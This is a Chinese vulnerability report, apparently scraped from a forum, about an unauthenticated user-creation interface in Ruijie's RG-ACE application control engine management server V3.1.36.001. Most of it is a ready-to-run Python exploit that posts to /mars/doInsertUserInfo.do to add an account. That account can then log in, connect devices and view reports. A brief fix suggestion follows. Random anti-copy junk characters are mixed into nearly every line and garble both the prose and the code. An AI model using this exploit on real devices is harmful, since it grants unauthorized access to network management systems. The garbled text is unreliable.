锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)! G2 C3 C/ D' @8 C
# _& m* q# d! P4 R# _
/ a# }8 M' c' V! A; K测试的具体版本是
- ?4 j# r. f& E产品名称: 锐捷应用控制引擎; Z- } @7 @; s, |
版本号: 3.1.36.001 TC# ?8 x2 v5 e( |- v
编译时间: 201104291730
8 Q8 s+ O% P9 L- u8 O% c
" M: A9 X+ u$ O4 f9 U1 R: K x; _6 k5 T! r% u, h- F3 M. P: I* [
漏洞证明:
- s" q& H5 ]0 v
0 E( }/ U! Q8 u! H' z- n* A
F- ?$ b1 a1 N+ p# q
8 s- B- z0 [, ?$ W7 W2 \* L8 J; a: Q) R; j6 }% R
& H5 |9 ]: w' n/ `. c
6 g" B$ b* B/ n5 Q$ t$ M, ?8 l& V执行脚本6 g2 D: S1 x9 v! F
#! /usr/bin/env python
8 ~& V) w" @# m- j0 P#coding=gbk) ?/ ^6 P7 V! J* C+ o
#RG-ACE管理服务器 V3.1.36.001: K8 _- E2 J: G4 B. O/ |
import urllib2, urllib,cookielib: H2 u1 ~ y5 R2 A/ U! r/ }( n
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
- M7 p# n; B, {8 P4 H* q$ Mopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
1 z" ?3 {0 i3 J& k% I- {) yopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]* k6 c0 Y/ c5 x" U0 m
post=(("event","userManager.doInsertUserInfo"),4 L$ y" [+ q8 b* d5 P
("useractionname","addButtonValue"),
, m3 j: p0 k5 l5 l" Y$ r! h("useropermanager","userManager"),
/ l* k9 f7 f8 L9 \' h("userName","t"), #######账号自己加
' z( d! S5 e' U" {2 [("pwd","aaaaaa"),######密码自己加% B( X5 T5 s) m; K0 l+ J& Z
("trueName","ad"),
0 k0 V/ \: G/ `3 C) X) g* `("email",""),
1 E: N6 O- X/ I" [("mobilePhone",""),
7 |! ?# Y) b; w5 z- q& D! L c("officePhone",""),$ V- U/ F. e) B3 E l1 r' a* X
("addr",""),
6 C9 A1 f9 R! |# l( A: E1 D1 o("submit","确定"))
2 ]" t; O, m6 k( B7 j8 Gurllib2.install_opener(opener)
( ]- v3 Y! H( F) l* F5 P# J4 qp=urllib2.urlopen(url, urllib.urlencode(post)).read()
/ X" s5 u( \8 nprint "Done"
`: K! \6 |) W( p- z; s2 H8 K6 }- G% W
登录,连接设备/ h* Q% _7 d( ^9 A; N" L
% G; H ?( x7 O) j, d# p2 ^/ x8 Q# s9 ~: {8 r) n
9 H9 ]# ]% Q1 S0 ?* i* d/ v% q
/ C4 x9 m# L' D0 @7 _
2 W1 U& ~8 c3 _0 j v默认的管理员admin权限更大点 G4 y A) G1 y, P' C/ T! b6 a
# O' |6 ^* ~7 O6 m# }
4 ^4 @1 ^9 w" I6 ^4 G8 H
. v2 d; J& K5 U- G* J4 S
* e8 k4 G- G1 b1 a, f( Z/ B0 \+ R+ T
修复方案:
( `; @- I$ _! s' Q加强对接口的权限验证
; j! H' v; _2 k, }& ~+ ^
1 l( @0 ]/ x+ \+ U) D! K, { |